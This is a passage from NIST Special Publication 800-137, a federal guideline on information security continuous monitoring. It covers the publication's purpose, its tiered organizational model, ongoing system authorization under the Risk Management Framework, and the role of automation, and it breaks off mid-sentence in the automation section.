R M A T I O N S E C U R I T Y Computer Security Division Information Technology Laboratory National Institute of Standards and Technology Gaithersburg, MD 20899- 8930 SEPTEMBER 2011 U.S. Department of Commerce Rebecca M. Blank, Acting Secretary National Institute of Standards and Technology Patrick D. Gallagher, Under Secretary for Standards and Technology and Director Information Security Continuous Monitoring (ISCM) for Federal Information Systems and Organizations Kelley Dempsey Nirali Shah Chawla Arnold Johnson Ronald Johnston Alicia Clay Jones Angela Orebaugh Matthew Scholl Kevin Stine NIST Special Publication 800 -137 Special Publication 800- 137 Information Security Continuous Monitoring for Federal information Systems and Organizations ______________________________________________________________________________________________ PAGE ii Reports on Computer Systems Technology The Information Technology Laboratory (ITL) at the National Institute of Standards and Technology (NIST) promotes the U.S. economy and public welfare by providing technical leadership for the nation’s measurement and standards infrastructure. ITL develops tests, test methods, reference data, proof of concept implementations, and technical analyses to advance the development and productive use of information technology. ITL’s responsibilities include the development of management, administrative, technical, and physical standards and guidelines for the cost-effective security and privacy of other than national security- related information in federal information systems. The Special Publication 800 -series reports on ITL’s research, guidelines, and outreach efforts in information system security, and its collaborative activities with industry, government, and academic organizations. Special Publication 800- 137 Information Security Continuous Monitoring for Federal information Systems and Organizations ______________________________________________________________________________________________ PAGE iii Authority This publication has been developed by NIST to further its statutory responsibilities under the Federal Information Security Management Act (FISMA), Public Law (P.L.) 107 -347. NIST is responsible for developing information security standards and guidelines, including minimum requirements for federal information systems, but such standards and guidelines shall not apply to national security systems without the express approval of appropriate federal officials exercising policy authority over such systems. This guideline is consistent with the requirements of the Office of Management and Budget (OMB) Circular A -130, Section 8b(3), Securing Agency Information Systems, as analyzed in Circular A -130, Appendix IV: Analysis of Key Sections. Supplemental information is provided in Circular A -130, Appendix III. Nothing in this publication should be taken to contradict the standards and guidelines made mandatory and binding on federal agencies by the Secretary of Commerce under statutory authority. Nor should these guidelines be interpreted as altering or superseding the existing authorities of the Secretary of Commerce, Director of the OMB, or any other federal official. This publication may be used by nongovernmental organizations on a voluntary basis and is not subject to copyright in the United States. Attribution would, however, be appreciated by NIST. NIST Special Publication 800- 137, 80 pages (September 2011) National Institute of Standards and Technology Attn: Computer Security Division, Information Technology Laboratory 100 Bureau Drive (Mail Stop 8930) Gaithersburg, MD 20899 -8930 Electronic mail: 800-137comments @nist.gov Certain commercial entities, equipment, or materials may be identified in this document in order to describe an experimental procedure or concept adequately. Such identificati on is not intended to imply recommendation or endorsement by NIST, nor is it intended to imply that the entities, materials, or equipment are necessarily the best available for the purpose. There may be references in this publication to other publications currently under development by NIST in accordance with its assigned statutory responsibilities. The information in this publication, including concepts and methodologies, may be used by federal agencies even before the completion of such companion publications. Thus, until each publication is completed, current requirements, guidelines, and procedures, where they exist, remain operative. For planning and transition purposes, federal agencies may wish to closely follow the development of these new publications by NIST. Organizations are encouraged to review all draft publications during public comment periods and provide feedback to NIST. All NIST publications, ot her than the ones noted above, are available at http://csrc.nist.gov/publications . Special Publication 800- 137 Information Security Continuous Monitoring for Federal information Systems and Organizations ______________________________________________________________________________________________ PAGE iv Acknowledgements The authors, Kelley Dempsey, Arnold Johnson, Matthew Scholl and Kevin Stine of the National Institute of Standards and Technology (NIST) , Ronald Johnston of the Department of Defense Chief Information Officer, Defense -wide Information Assurance Program (DOD -CIO, DIAP) , Alicia Clay Jones and Angela Orebaugh of Booz Allen Hamilton, and Nirali Shah Chawla of PricewaterhouseCoopers LLP (PwC), wish to thank their colleagues who reviewed drafts of this document and contributed to its technical content. The authors would like to acknowledge their colleagues for their keen and insightful assistance with technical issues throughout the development of the document. And finally, the authors gratefully acknowledge and appreciate the significant contributions from individuals and organizations in the public and private sectors whose thoughtful and constructive comments improved the overall quality and usefulness of this publication. Special Publication 800- 137 Information Security Continuous Monitoring for Federal information Systems and Organizations ______________________________________________________________________________________________ PAGE v Table of Contents CHAPTER ONE INTRODUCTION ....................................................................................... 1 1.1 BACKGROUND ...................................................................................................... 2 1.2 RELATIONSHIP TO OTHE R PUBLICATIONS .................................................................. 2 1.3 PURPOSE ............................................................................................................. 3 1.4 TARGET AUDIENCE ................................................................................................ 3 1.5 ORGANIZATION OF THIS SPECIAL PUBLICATION .......................................................... 4 CHAPTER TWO THE FUNDAMENTALS .............................................................................. 5 2.1 ORGANIZATION -WIDE VIEW OF ISCM ......................................................................... 6 2.2 ONGOING SYSTEM AUTHORIZATIONS ..................................................................... 10 2.3 ROLE OF AUTOMATION IN ISCM .............................................................................. 12 2.4 ISCM ROLES AND RESPO NSIBILITIES ...................................................................... 13 CHAPTER THREE THE PROCESS ................................................................................... 16 3.1 DEFINE ISCM STRATEGY ....................................................................................... 17 3.2 ESTABLISH AN ISCM PR OGRAM .............................................................................. 24 3.3 IMPLEMENT AN ISCM PR OGRAM ............................................................................. 30 3.4 ANALYZE DATA AND REPORT FINDINGS .................................................................. 31 3.5 RESPOND TO FINDINGS ........................................................................................ 33 3.6 REVI EW AND UPDATE THE MO NITORING PROGRAM AND STRATEGY ............................ 34 APPENDIX A REFERENCES ........................................................................................... A-1 APPENDIX B GLOSSARY .............................................................................................. B-1 APPENDIX C ACRONYMS ............................................................................................. C-1 APPENDIX D TECHNOLOGIES FOR ENA BLING ISCM ......................................................... D-1 Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE vi EXECUTIVE SUMMARY n today’s environment where many, if not all, of an organization’s mission-critical functions are dependent upo n information technology, the ability to manage this technology and to assure confidentiality, integrity, and availability of information is now also mission -critical. In designing the enterprise architecture and corresponding security architecture, an organization seeks to securely meet the IT infrastructure needs of its governance structure, missions, and core business processes. Information security is a dynamic process that must be effectively and proactively managed for an organization to identify and respond to new vulnerabilities, evolving threats, and an organization’s constantly changing enterprise architecture and operational environment. The Risk Management Framework (RMF ) developed by NIST , 1 describes a disciplined and structured process that integrates information security and risk management activities into the system development life cycle. Ongoing monitoring is a critical part of that risk management process. In addition, an organization’s overall security architecture and accompanying security program are monitored to ensure that organization- wide operations remain within an acceptable level of risk, despite any changes that occur. Timely, relevant , and accurate information is vital, particularly when resources are limited and agencies must prioritize their efforts. Information security continuous moni toring (ISCM) is defined as maintaining ongoing awareness of information security, vulnerabilities, and threats to support organizational risk management decisions. Any effort or process intended to support ongoing monitoring of information security across an organization begins with leadership defining a comprehensive ISCM strategy encompassing technology, processes, procedures, operating environments, and people. This strategy: • Is grounded in a clear understanding of organizational risk tolerance and helps officials set priorities and manage risk consistently throughout the organization; • Includes metrics that provide meaningful indications of security status at all organizational tiers; • Ensures continued effectiveness of all security controls; • Verifies compliance with information security requirements derived from organizational missions/business functions, federal legislation, directives, regulations, policies, and standards/guidelines; • Is informed by all organizational IT assets and helps to m aintain visibility into the security of the assets; • Ensures knowledge and control of changes to organizational systems and environments of operation; and • Maintains awareness of threats and vulnerabilities. 1 See NIST Special Publication (SP) 800- 37, as amended, Guide for Applying the Risk Management Framework to Federal Information Systems: A Security Life Cycle Approach. I Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE vii An ISCM program is established to collect informa tion in accordance with preestablished metrics, utilizing information readily available in part through implemented security controls. Organizational officials collect and analyze the data regularly and as often as needed to manage risk as appropriate for each organizational tier. This process involves the entire organization, from senior leaders providing governance and strategic vision to individuals developing, implementing, and operating individual systems in support of the organization’s core missions and business processes. Subsequently, determinations are made from an organizational perspective on whether to conduct mitigation activities or to reject, transfer, or accept risk . Organizations’ security architectures, operational security capabilities, and monitoring processes will improve and mature over time to better respond to the dynamic threat and vulnerability landscape. An organization’s ISCM strategy and program are routinely reviewed for relevance and are revised as needed to increase visibili ty into assets and awareness of vulnerabilities . This further enable s data-driven control of the security of an organization’s information infrastructure , and increase organizational resilienc e. Organization- wide monitoring cannot be efficiently achieved through manual processes alone or through automated processes alone. Where manual processes are used, the processes are repeatable and verifiable to enable consistent implementation. Automat ed processes, including the use of automated support tools (e.g., vulnerabilit y scanning tools, network scanning devices), can make the process of continuous monitoring more cost -effective, consistent, and efficient. Many of the technical security controls defined in NIST Special Publication (SP) 800‐53, Recommended Secu rity Controls for Federal Information Systems and Organizations, as amended, are good candidates for monitoring using automated tools and techniques. Real ‐time monitoring of implemented technical controls using automated tools can provide an organization with a much more dynamic view of the effectiveness of those controls and the security posture of the organization. It is important to recognize that with any comprehensive information security program, all implemented security controls, including management and operational controls, must be regularly assessed for effectiveness, even if the monitoring of such controls cannot be automated or is not easily automated. Organizations take the following steps to establis h, implement, and maintain ISCM : • Define an ISCM strategy; • Establish an ISCM program ; • Implement an ISCM program; • Analyze data and Report findings; • Respond to findings; and • Review and Update the ISCM strategy and program. A robust ISCM program thus enables organizations to move from compliance -driven risk management to data -driven risk management providing organizations with information necessary to support risk response decisions, s ecurity status information , and ongoing insight into security control effectiveness . Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 1 CHAPTER ONE INTRODUCTION nformation security continuous monitoring (ISCM) is defined as maintaining ongoing awareness of information security, vulnerabilities, and threats to support organizational risk management decisions. 2 This publication specifically addresses assessment and analysis of security control effectiveness and of organizational security status in accordance with organizational risk tolerance. Security control effectiveness is measured by correctness of implementation and by how adequately the implemented controls meet organizational needs in accordance with current risk tolerance (i.e. , is the control implemented in accordance with the security plan to address threats and is the security plan adequate). 3 • Maintaining situational awareness of all systems across the orga nization; Organizational security status is determined using metrics established by the organization to best convey the security posture of an organization’s information and information systems , along with organizational resilienc e given known threat information. This necessitates : • Maintaining an understanding of threats and threat activities; • Assessing all security controls; • Collecting, correlating, and analyzing security- related information; • Providing actionable communication of security status across all tiers of the organization; and • Active management of risk by organizational officials . Communication with all stakeholders is key in developing the strategy and implementing the program. This document build s on the monitoring concepts introduced in NIST SP 800 -37 Rev. 1, Guide for Applying the Risk Management Framework to Federal Information Systems: A Security Life Cycle Approach . An ISCM program helps to ensure that deployed security controls continue to be effective and that operations remain within stated organizat ional risk tolerances in light of the inevitable changes that occur over time. In cases where security controls are determined to be inadequate, ISCM programs facilitate prioritized security response actions based on risk. An ISCM strategy is meaningful only within the context of broader organizational needs, objectives , or strategies , and as part of a broader risk management strategy , enabling timely 2 The terms “continuous” and “ongoing” in this context mean that security controls and organizational risk s are assessed and analyzed at a frequency sufficient to support risk- based security decisions to adequately protect organization information. Data collection, no matter how frequent, is performed at discrete intervals. 3 NIST SP 800 -53A, as amended, defines security control effectiveness as “the extent to which the controls are implemented correctly, operating as intended, and produci ng the desired outcome with respect to meeting the security requirements for the system. ” I Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 2 management, assessment , and response to emerging security issues. Information collected through the ISCM program supports ongoing authorization decisions.4 ISCM, a critical step in an organization’s Risk Management Framework (RMF), gives organizational officials access to security -related information on demand, enabling timely risk management decisions, including authorization decisions . Frequent updates to security plans, security assessment reports, plans of action and milestones, hardware and software inventories , and other system information are also supported . ISCM is most effective when automated mechanisms are employed where possible for data collection and reporting. Effectiveness is further enhanced when the output is formatted to provide information that is specific, measurable, actionable, relevant, and timely . While this document encourages the use of automation, it is recognize d that many aspects of ISCM programs are not easily automated. 1.1 BACKGROUND The concept of monitoring information system security has long been recognized as sound management practice. In 1997, Office of Management and Budg et (OMB) Circular A -130, Appendix III5 The Federal Information Security Management Act (FISMA) of 2002 further emphasized the importance of continuous ly monitoring information system security by requiring agencies to conduct assessments of security controls at a frequency appropriate to risk, but no less than annually. required agencies to review their information systems ’ security controls and to ensure that system changes do not have a significant impact on security, that security plans remain effective, and that security controls continue to perform as intended. Most recently, OMB issued memorandum M -11-33, FY 2011 Reporting Instructions for the Federal Information Security Management Act and Agency Privacy Management . 6 Tools supporting automated monitoring of some aspects of information systems have become an effective means for both data capture and data analysis. Ease of use, accessibility, and b road applicability across products and across vendors help to ensure that monitoring tools can be readily deployed in support of near real -time, risk-based decision making. The memorandum provides instructions for annual FISMA reporting and emphasizes monitoring the security state of information systems on an ongoing basis with a frequency sufficient to make ongoing, risk-based decisions. 1.2 RELATIONSHIP TO OTHE R SPECIAL PUBLICATIONS NIST SP 800-39, Managing Information Security Risk: Organization, Mission, and Information System View , describes three key organization -wide ISCM activities: monitoring for effectiveness, monitoring for changes to systems and environments of operation, and monitoring 4 See OMB Memoranda M -11-33, Question #28, for information on ongoing authorization (http://www.whitehouse.gov/sites/default/files/omb/memoranda/2011/m11 -33.pdf). 5 OMB Circular A -130 is available at http://www.whitehouse.gov/omb/circulars_a130_a130trans4 . 6 OMB memorandum M -11-33 is available at http://www.whitehouse.gov/sites/default/files/om b/memoranda/2011/m11- 33.pdf. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 3 for compliance . NIST SP 800-37 describes monitoring security controls at the system level (RMF Step 6) and also includes an organization- wide perspective , integration with the system development life cycle (SDLC), and support for ongoing authorizations . The concepts presented in NIST SP 800 -39 and NIST SP 800 -37 are expanded upon in order to provide guidelines sufficient for developing an ISCM strategy and implementing an ISCM program. The tiered approach herein mirror s that described in NIST SP 800 -37 and NIST SP 800 -39 where Tier 1 is organization, Tier 2 is mission/business processes, and Tier 3 is information system s. In NIST SP 800-39, these tiers are used to address risk management from varying organizational perspectives. In this document, the tiers are used to address perspectives for ISCM for each tier. Organization- wide, tier-specific ISCM policies, procedures, and responsibilities are included for the organization, mission/business processes, and information system s tiers. Automation is leveraged where possible, and ma nual (e.g., procedural) monitoring methodologies are implemented where automation is not practical or possible. The ISCM program will evolve over time as the program matures in general, additional tools and resources become available, measurement and automation capabilities mature, and changes are implemented to ensure continuous improvement in the organizational security posture and in the organization’s security program. The monitoring strategy is regularly reviewed for relevanc e and accuracy in reflect ing organizational risk tolerances, correctness of measurements, applicability of metrics , and effectiveness in supporting risk management decisions . 1.3 PURPOSE The purpose of this guideline is to assist organizations in the development of an ISCM strategy and the implementation of a n ISCM program that provides awareness of threats and vulnerabilities , visibility into organizational assets , and the effectiveness of deployed security controls. The ISCM strategy and program support ongoing assurance that planned and implemented security controls are aligned with organizational risk tolerance , as well as the ability to provide the information needed to respond to risk in a timely manner . 1.4 TARGET AUDIENCE This publication serves individuals associated with the de sign, development, implementation, operation, maintenance, and dispos al of federal information systems , including: • Individuals with mission/business ownership responsibilities or fiduciary responsibilities (e.g., heads of federal agencies, chief executive officers, chief financial officers); • Individuals with information system development and integration responsibilities (e.g., program managers, information technology product developers, information system developers, information systems integrators, enterprise architects, information security architects); • Individuals with information system and/or security management/oversight responsibilities (e.g., senior leaders, risk executives, authorizing officials, chief information officers, senior information secur ity officers 7 7 At the agency level, this position is known as the Senior Agency Information Security Officer. Organizations may also refer to this position as the Chief Information Security Officer. ); Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 4 • Individuals with information system and security control assessment and monitoring responsibilities (e.g., system evaluators, assessors/assessment teams, independent verification and validation assessors, auditors, or information system owners); and • Individuals with information security implementation and operational responsibilities (e.g., information system owners, common control providers, information owners/stewards, mission/business owners, information security architects, information s ystem security engineers/officers). 1.5 ORGANIZATION OF THIS SPECIAL PUBLICATION The remainder of this special publication is organized as follows: • Chapter 2 describes the fundamentals of ongoing monitoring of information security in support of risk management ; • Chapter 3 describes the process of ISCM, including implementation guidelines ; and • Supporting appendices provide additional information regarding ISCM including: (A) general references; (B) definitions and terms; (C) acronyms; and (D) descriptions of tech nologies for enabling ISCM. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 5 CHAPTER TWO THE FUNDAMENTALS ONGOING MONITORING IN SUPPORT OF RISK MANAGEMENT his chapter describes the fundamental concepts associated with organization -wide continuous monitoring of information security and the application of ISCM in support of organizational risk management decisions (e.g., risk response decisions, ongoing system authorization decisions, Plans of Action and Milestones ( POA&M) resource and prioritization decisions, etc.). In order to effectively address ever-increasing security challenges, a well- designed ISCM strategy address es monitoring and assessment of security controls for effectiveness, and security status monitoring.8 The process of implementing ISCM as described in Chapter Three is: It also incorporates processes to assure that response actions are taken in accordance with findings and organizational risk tolerances and to assure that said responses have the intended effec ts. • Define the ISCM strategy; • Establish an ISCM program; • Implement the ISCM program; • Analyze and Report findings; • Respond to findings; and • Review and Update ISCM strategy and program. ISCM strategies evolve in accordance with drivers for risk -based decision making and requirements for information. These requirements may come from any tier in the organization. Organizations implement ISCM based on requirements of those accountable and responsible for maintaining ongoing control of organizational security posture to within organizational risk tolerances. The implementation is standardized across the organization to the greatest extent possible so as to minimize use of resources (e.g., funding for purchase of tools/applications, data calls, organization -wide policies/procedures/templates, etc.) and to maximize leveragability of security-related information. Upon analysis, the resulting information informs the discrete processes used to manage t he organization’s security posture and overall risk. ISCM helps to provide situational awareness of the security status of the organization’s systems based on information collected from resources (e.g., people, processes, technology, environment) and the capabilities in place to react as the situation changes . 8 Organizations implement processes to manage organizational security and metrics that provide insight into those processes and hence into organizational security status. Some of those security processes will align with individual security controls, and others will align with components or combinations of controls. Discussions of metrics can be found in Section 3.2.1 and in NIST SP 800 -55, Performance Measurement Guide for Information Security, as amended. T Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 6 ISCM is a tactic in a larger strategy of organization- wide risk management.9 Security-related information pertaining to a system component inventory is used to determine compliance with CM -8 Information System Component Inventory . Organizations increase situational awareness through enhanced monitoring capabilities and subsequently increase insight in to and control of the processes used to manage organizational security. Increased insight into and control of security processes in turn enhances situational awareness. Therefore, the process of implementing ISCM is recursive. ISCM informs and is informed by distinct organizational security processes and associated requirements for input and output of security-related information. Consider the following example: 10 This example illustrates how data collected in assessing a security control is leveraged to calculate a metric and provide input into various organizational processes. It further illustrates that a problem, once detected, can trigger an assessment of one or more controls across an organization, updates to relevant security- related information, modifications to the organizational security program plan and security processes, and improved compliance to the security program and applicable system security plan. The end result is improved organization- wide risk management and continual improvement limited only by the speed with which the organization can collect information and respond to findings. The information is assessed to determine whether or not the control is effective, (i.e., if the inventory is accurate ). If found to be inaccurate, an analysis to determine the root cause of the i naccuracy is initiated (e.g., perhaps a process for connecting components to the network has been ignored or is out of date, asset management tools are not operating as expected, or the organization is under attack). Based on the analysis, responses are in itiated as appropriate (e.g., responsible parties update inventory, update relevant organizational processes, train employees, disconnect errant devices, etc.). Additionally, security- related information pertaining to a system component inventory may be used to support predefined metrics. More accurate system component inventories support improved effectiveness of other security domains such as patch management and vulnerability management. 2.1 ORGANIZATION -WIDE VIEW OF ISCM Maintaining an up- to-date view of information security risks across an organization is a complex, multifaceted undertaking. It requires the involvement of the entire organization, from senior leaders providing governance and strategic vision to individuals developing, implementing, a nd operating individual information systems in support of the organization’s core missions and business functions. Figure 2 -1 illustrates a tiered approach to organization- wide ISCM in support of risk management. Tier 1 governance, risk management goals , and organizational risk tolerance drive the ISCM strategy. Organizational risk tolerance established by senior executives/leaders as part of the risk executive (function) 11 9 ISCM is discussed within the larger context of org anization-wide risk management in NIST SP 800 -39. influences ISCM policy, procedure s, and implementation activities across all tiers . Data collection primarily occur s at the information systems tier. Metrics are designed to present information in a context that is meaningful for each tier. For example, ISCM data collected at Tier 3 may be aggregated to provide security status or risk scores for a single system, for a collection of systems, across a core business process, or for the entire organization. Policies, procedures, and tools may be established at any tier; however, when 10 CM-8 is a security control from the Configuration Management family in NIST SP 800- 53, Appendix F. 11 See Section 2.4 for a discussion of roles and responsibilities of the risk executive (function). Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 7 established at Tiers 1 or 2, they facilitate the consistent implementation of ISCM across the organization and better support data re use and judicious use of resources . Data collection, analysis, and reporting are automated where possible.12 Through the use of automation, it is possible to monitor a greater number of security metrics with fewer resources , higher frequencies , larger sample sizes,13 12 Care must be taken in determining how best to use security-related information from individual information systems in calculating organizational metrics for security and risk. Dashboards and metrics, designed to provide organizational situational awareness of security and risk , can provide a false sense of security if used without continued assurance of the relevance of the metrics. and with greater consistency and reliability than is feasible using manual processes. Organizations regularly review the ISCM strategy to ensure that metrics continue to be relevant, meaningful , actionable, and supportive of risk management decisions made by organizational officials at all tiers. 13 If an organization does not have the resources or infrastructure necessary to assess every relevant object within its information infrastructure, sampling is an approach that may be useful in reducing the level of effort associated with continuous monitoring. Additional information is provided in Section 3.1.4. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 8 Figure 2-1. Organization- wide ISCM An organization- wide approach to continuous monitoring of information and information system security supports risk -related decision making at the organization level (Tier 1), the mission/business processes level (Tier 2), and the information systems level (Tier 3).14 2.1.1 TIER 1- ORGANIZATION Tier 1 risk managem ent activities address high -level information security governance policy as it relates to risk to the organization as a whole, to its core missions, and to its business functions. At this tier, the criteria for ISCM are defined by the organization’s risk management strategy, including how the organization plans to assess, respond to, and monitor risk , and the oversight required to ensure that the risk management strategy is effective. Security controls , security status , and other metrics defined and monitored by officials at this tier are designed to deliver information necessary to make risk management decisions in support of governance. Tier 1 metrics are developed for supporting governance decisions regarding the organization, its core missions, and 14 NIST Special Publication 800- 39, as amended, provides guidelines on the holistic approach to risk management. ORGANIZATION Risk Tolerance/ Governance/Policies/ Strategies INFORMATION SYSTEMS Collection/Correlation/Analysis/ReportingData MISSION/BUSINESS PROCESSES Collection/Correlation/Analysis/Reporting ToolsDataTools Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 9 its business functions. Tier 1 metrics may be calculated based on security-related information from common, hybrid, and system -specific security controls. The metrics and the frequency with which they are monitored15 2.1.2 TIER 2 - MISSION /BUSINESS PROCESSES and reported are determined by requirements to maintain operations within organizational risk tolerances . As part of the overall governance structure established by the organization, the Tier 1 risk management strategy and the associated monitoring requirements are communicated throughout Tiers 2 and 3. Organizational officials that are accountable for one or more missions or business processes are also responsible for overseeing the associated risk management activities for those processes . The Tier 2 criteria for continuous monitoring of information security are defined by how core mission/business processes are prioritized with respect to the overall goals and objectives of the organization, the types of information needed to successfully execute the stated mi ssion/business processes, and the organization- wide information security program strategy. Controls in the Program Management (PM) family are an example of Tier 2 security controls. These controls address the establishment and management of the organization’s information security program . Tier 2 controls are deployed organization- wide and support all information systems. They may be tracked at Tier 2 or Tier 1. The frequencies with which Tier 2 security controls are assessed and security status and other metrics are monitored are determined in part by the objectives and priorities of the mission or business process and measurement capabilities inherent in the infrastructure.16 2.1.3 TIER 3 - INFORMATION SYSTEMS Security-related information may come from common, hybrid , and system -specific controls. Metrics and dashboards can be useful at Tiers 1 and 2 in assessing, normalizing, communicating, and correlat ing monitoring activities below the mission/business processes tier in a meaningful manner. ISCM activities at Tier 3 address risk management from an information system perspective . These activities include ensuring that all system-level security controls (technical, operational , and management controls) are implemented correctly , operate as intended, produce the desired outcome with respect to meeting the security requirements for the system, and continue to be effective over time. ISCM activities at Tier 3 also include assessing and monitoring hybrid and common controls implemented at the system level. Security status reporting at this tier often includes but is not limited to security alerts, security incidents, and identified threat activities.17 The ISCM strategy for Tier 3 also ensures that security-related information supports the monitoring requirement s of other organizational tiers. Data feeds/assessment results from system - level controls (system-specific, hybrid, or common) , along with associated security status reporting, support risk -based decisions at the organization and mission/business processes ti ers. Information is tailored for each tier and delivered in ways that inform risk -based decision making at all tiers. Those resulting decisions impact the ISCM strategy applied at the information system s tier.18 15 Monitoring organizationally defined metrics is referred to as security status monitoring throughout this document. ISCM metrics originating at the information systems tier can be used to assess, respond, 16 As an organization’s technical and human capit al capabilities mature, monitoring c apabilities increase. 17 Threat activities include malicious activities observed on organizational networks or other anomalous activities that are indicators of inappropriate actions. See NIST SP 800 -30, as amended, for more information on threats. 18 A continuous monitoring strategy for an individual system may also include metrics related to its potential impact on other systems . Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 10 and monitor risk across the organization. The ongoing monitoring activities implemented at the information systems tier provide security-related information to authorizing officials (AOs) in support of ongoing system authorization decisions and to the risk executive (function) in support of ongoing organizational risk management. At Tier 3, RMF Step 6 Monitor activities and ISCM activities are closely aligned . The assessment methods relevant for implemented security controls are the same whether the assessments are being done solely in support of system authorization or in support of a broader, more comprehensive continuous monitoring effort. Information systems tier officials and staff conduct assessments a nd monitoring, and analyze results on an ongoing basis . The information is leveraged at the organization, mission/business processes, and information systems tiers to support risk management. Though frequency requirements differ, each tier receives the benefit of security-related information that is current and applicable to affected processes. RMF Step 6 activities performed within the context of an ISCM program support information s ystem risk determination and acceptance, i.e., authorization (RMF Step 5) on an ongoing basis. 2.2 ONGOING SYSTEM AUTHO RIZATIONS Initial authorization to operate is based on evidence available at one point in time , but systems and environments of operation change . Ongoing assessment of security control effectiveness supports a system’s security authorization over time in highly dynamic environments of operation with changing threats, vulnerabilities, technologies, and missions/business processes. Through ISCM, new threat or vulnerability information is evaluated as it become s available, permitting organizations to make adjustments to security requirements or individual controls as needed to maintain authorization decisions. The process for obtaining system authorization, and more generally, for managing information security a nd information system-related risk, is the RMF.19 The RMF, illustrated in Figure 2 -2, provides a disciplined and structured process that integrates information system security and risk management activities into the SDLC. The monitoring step (Step 6) of the RMF includes interactions between the three tiers as illustrated in the organizational view of ISCM in Figure 2 -1. Interaction between the tiers include s data from system owners, common control providers, and authorizing officials on security control assessments and ongoing authorization of system and common controls provided to the risk executive (function).20 19 System authorization to operate may be partially dependent on assessment/monitoring and ongoing security authorization of common controls. NIST SP 800 -37, as amended, provides information on security authorization of common controls. There is also dissemination of updated risk -related information such as vulnerability and threat data and organizational risk tolerance from Tiers 1 and 2 to authorizing officials and information system owners. When the RMF is applied within an organization that has also implemented a robust ISCM strategy, organizational officials are provided with a view of the organizational security posture and each system’s contribution to said posture on demand. 20 Roles and responsibilities of organizational officials within a continuous monitoring program are discussed in Section 2.4. NIST SP 800-37, as amended, describes the interaction of the risk executive (function) in the context of the RMF . Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 11 Figure 2 -2. Risk Management Framework The output of a strategically designed and well -managed organization- wide ISCM program can be used to maintain a system’s authorization to operate and keep required system information and data (i.e., System Security Plan together with Risk Assessment Report, Security Assessment Report, and POA&M) up to date on an ongoing basis . Security management and reporting tools may provide functional ity to automate updates to key evidence needed for ongoing authorization decisions. ISCM also facilitates risk -based decision making regarding the ongoing authorization to operate information systems and security authorization for common controls by provid ing evolving threat activity or vulnerability information on demand. A security control assessment and risk determination process, otherwise static between authorizations, is thus transformed into a dynamic process that supports timely risk response actions and cost -effective, ongoing authorizations. Continuous monitoring of threats, vulnerabilities , and security control effectiveness provides situational awareness for risk -based support of ongoing authorization decisions. An appropriately designed ISCM strategy and program supports ongoing authorization of type authorizations, as well as single, joint , and leveraged authorizations.21 ISCM in support of ongoing assessment and authorization has the potential to be resource- intensive and time -consuming. It is impractical to collect security-related information and assess every aspect of every security control deployed across an organization at all times. A more practical approach is to establish reasonable assessment frequencies for collecting security -related information. The frequency of assessments should be sufficient to assure adequate security commensurate with risk, as determined by system categorization and ISCM strategy 21 See NIST SP 800-37, as amended, for a discussion of authorization types. Starting Point RISK MANAGEMENT FRAMEWORK PROCESS OVERVIEW Architecture Description Architecture Reference Models Segment and Solution Architectures Mission and Business Processes Information System Boundaries Organizational Inputs Laws, Directives, Policy Guidance Strategic Goals and Objectives Priorities and Resource Availability Supply Chain Considerations Repeat as necessary Step 6 MONITOR Security Controls Step 2 SELECT Security Controls Step 3 IMPLEMENT Security Controls Step 4 ASSESS Security Controls Step 5 AUTHORIZE Information System Step 1 CATEGORIZE Information System Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 12 requirements. Sampling of information system security objects, rather than 100 percent inspection, can also be an efficient and effective means of monitoring, particularly in cases where monitoring is not automated . Important considerations in determining sample sizes and monitoring frequencies are discussed in Chapter Th ree. Monitoring frequencies (e.g., annually, quarterly, monthly, daily) are not static, and they are not uniform across all metrics . Security control assessment and monitoring frequencies , for example, are adjusted to support changes in organizational information systems or their environments of operation, including emerging information on security threats and vulnerabilities. The priorities for ISCM vary and are adjusted in response to security incidents, to identify problems with security control implem entations, or to evaluate changes to systems and system components that are determined to have a significant impact on security. An ISCM strategy can deliver dynamic updates of security- related data to support system authorizations conducted at any interva l. Section 3.2.2 includes a more complete discussion of factors to consider when determining monitoring frequencies. 2.3 ROLE OF AUTOMATION I N ISCM When possible, organizations look for automated solutions to lower costs, enhance efficiency, and improve the reliability of monitoring security-related information . Security is implemented through a combination of people, processes , and technology. The automation of information security deals primarily with automating aspects of security that require little human interaction. Automated tools are often able to recognize patterns and relationships that may escape the notice of human analysts, especially when the analysis is performed on large volumes of data . This includes items such as verifying technical settings on individual network endpoints or ensuring that the software on a machine is up to date with organizational policy. Automation serves to augment the security processes conducted by security professionals within an organization and may reduce the amount of time a security professional must spend on doing redundant tasks , thereby increasing the amount of time the trained professional may spend on tasks requiring human cognition. The ISCM strategy does not focus solely on the security- related information that is easy for an organization to collect or easy to automate . When an ISCM program is first implemented, there will likely be several aspects of the organization’s security program that are manually monitored. Organizations’ monitoring capabilities will expand and mature over time. Metrics will evolve with lessons learned and with increased insight into organizational security status and risk tolerance. The focus of a n ISCM strategy is to provide adequate information about security control effectiveness and organizational security status allowing organizational officials to make informed, timely security risk management decisions. Thus, implementatio n, effectiveness , and adequacy of all security controls are monitored along with organizational security status. When determining the extent to which the organization automates ISCM, organizations consider potential efficiencies of process standardization that may be gained with automation, and the potential value (or lack of value) of the automated security- related information from a risk management perspective. Additionally, organizations consider intangibles such as the potential value of personnel reass ignment and more comprehensive situational awareness. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 13 While automation of IT security has the potential to significantly reduce the amount of time a human must spend doing certain tasks , it is not possible to fully automat e all of an organization's information security program functions. The technologies discussed in Appendix D , for example, still require human analysis for implementation and maintenance of the tools as well as appropriate interpretation of findings. Similarly, these tools operate within the context of processes designed, run, and maintained by humans. If individuals carry out their responsibilities insecurely, then 